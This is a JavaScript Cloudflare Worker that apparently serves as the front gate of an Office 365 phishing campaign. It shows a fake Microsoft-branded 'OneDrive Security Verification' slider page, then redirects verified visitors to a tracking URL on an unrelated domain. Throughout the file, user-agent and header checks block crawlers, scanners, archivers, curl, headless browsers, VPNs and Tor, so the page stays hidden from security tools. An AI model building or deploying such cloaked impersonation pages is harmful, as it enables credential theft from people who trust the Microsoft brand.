const DESTINATION_URL = "https://billionairesproperty.com/r/?c3Y9bzM2NV8xX29uZSZtPXRwJnVpZD1VU0VSMDkwNDIwMjVVMDEwNDA5MzcmdD1mTQ==N0123N"; // Enhanced bot detection const BLOCK_UA = [ /bot|crawler|spider|scraper|headless|phantom|selenium|webdriver|puppeteer|playwright/i, /curl|wget|python|java|perl|ruby|php|go|node|axios|request|fetch/i, /archive|index|monitor|scan|check|proxy|vpn|tor|anonymizer/i ]; // Use Cloudflare KV for persistence (you'll need to set this up) // const sessionStorage = await env.SESSIONS.get(); // In-memory storage (resets on worker restart) let sessionMap = new Map(); let rateLimitMap = new Map(); // Generate cryptographically secure token function generateToken() { const array = new Uint8Array(32); crypto.getRandomValues(array); return Array.from(array, byte => byte.toString(16).padStart(2, '0')).join(''); } // Rate limiting function function checkRateLimit(ip) { const now = Date.now(); const windowMs = 15 * 60 * 1000; // 15 minutes const maxAttempts = 10; if (!rateLimitMap.has(ip)) { rateLimitMap.set(ip, { count: 1, firstAttempt: now }); return true; } const data = rateLimitMap.get(ip); // Reset if window has passed if (now - data.firstAttempt > windowMs) { rateLimitMap.set(ip, { count: 1, firstAttempt: now }); return true; } // Check if exceeded limit if (data.count >= maxAttempts) { return false; } data.count++; return true; } // Advanced bot detection function isLikelyBot(req) { const ua = req.headers.get("User-Agent") || ""; const ip = req.headers.get("CF-Connecting-IP") || "unknown"; // Check User-Agent patterns if (BLOCK_UA.some(r => r.test(ua)) || ua.length < 20) { return true; } // Check for common headers that bots miss const accept = req.headers.get("Accept"); const acceptLang = req.headers.get("Accept-Language"); const acceptEnc = req.headers.get("Accept-Encoding"); if (!accept || !acceptLang || !acceptEnc) { return true; } return false; } // Clean up old sessions function cleanupSessions() { const now = Date.now(); for (const [token, data] of sessionMap.entries()) { if (now - data.created > 10 * 60 * 1000) { // 10 minutes sessionMap.delete(token); } } // Clean rate limits for (const [ip, data] of rateLimitMap.entries()) { if (now - data.firstAttempt > 15 * 60 * 1000) { rateLimitMap.delete(ip); } } } // Render the HTML with dynamic tokens function renderHTML(verificationToken, sessionId) { return ` Security Verification - OneDrive

Verify you're human

Slide the bar to the right to continue

This helps us protect your account from automated access
Slide to verify
Verification failed. Please try again.
Verifying...
Microsoft • Privacy & cookies • Terms of use
`; } // Handle verification requests async function handleVerification(req, ip) { try { const data = await req.json(); // Validate required fields if (!data.token || !data.sessionId || !data.percentage || !data.duration) { return new Response(JSON.stringify({ success: false, error: "Invalid request" }), { status: 400, headers: { "Content-Type": "application/json" } }); } // Verify session exists const session = sessionMap.get(data.token); if (!session || session.sessionId !== data.sessionId) { return new Response(JSON.stringify({ success: false, error: "Invalid session" }), { status: 400, headers: { "Content-Type": "application/json" } }); } // Check if already verified if (session.verified) { return new Response(JSON.stringify({ success: false, error: "Already verified" }), { status: 400, headers: { "Content-Type": "application/json" } }); } // Increment attempts session.attempts++; // Server-side validation rules const minDragTime = 500; // Minimum 500ms drag time const maxDragTime = 30000; // Maximum 30 seconds const minPercentage = 95; // Minimum 95% completion if (data.percentage < minPercentage) { return new Response(JSON.stringify({ success: false, error: "Incomplete verification" }), { status: 400, headers: { "Content-Type": "application/json" } }); } if (data.duration < minDragTime || data.duration > maxDragTime) { return new Response(JSON.stringify({ success: false, error: "Suspicious activity detected" }), { status: 400, headers: { "Content-Type": "application/json" } }); } // Mark as verified session.verified = true; session.verifiedAt = Date.now(); // Return success with redirect URL return new Response(JSON.stringify({ success: true, redirectUrl: DESTINATION_URL }), { headers: { "Content-Type": "application/json" } }); } catch (error) { return new Response(JSON.stringify({ success: false, error: "Verification failed" }), { status: 500, headers: { "Content-Type": "application/json" } }); } } export default { async fetch(req, env, ctx) { try { const url = new URL(req.url); const ip = req.headers.get("CF-Connecting-IP") || "unknown"; const userAgent = req.headers.get("User-Agent") || ""; // Clean up old sessions periodically (10% chance) if (Math.random() < 0.1) { cleanupSessions(); } // Handle verification endpoint if (url.pathname === '/verify' && req.method === 'POST') { return await handleVerification(req, ip); } // Serve the main page for all other routes // Check rate limiting if (!checkRateLimit(ip)) { return new Response(JSON.stringify({ error: "Too many attempts. Please try again in 15 minutes." }), { status: 429, headers: { "Content-Type": "application/json", "Retry-After": "900" } }); } // Enhanced bot detection if (isLikelyBot(req)) { return new Response("Access Denied", { status: 403, headers: { "Content-Type": "text/plain" } }); } // Generate verification session const verificationToken = generateToken(); const sessionId = generateToken(); const timestamp = Date.now(); sessionMap.set(verificationToken, { sessionId, ip, created: timestamp, attempts: 0, verified: false }); // Render the verification page return new Response(renderHTML(verificationToken, sessionId), { headers: { "Content-Type": "text/html; charset=utf-8", "Cache-Control": "no-cache, no-store, must-revalidate", "X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff" } }); } catch (error) { console.error('Error:', error); return new Response("Service temporarily unavailable", { status: 500, headers: { "Content-Type": "text/plain" } }); } } };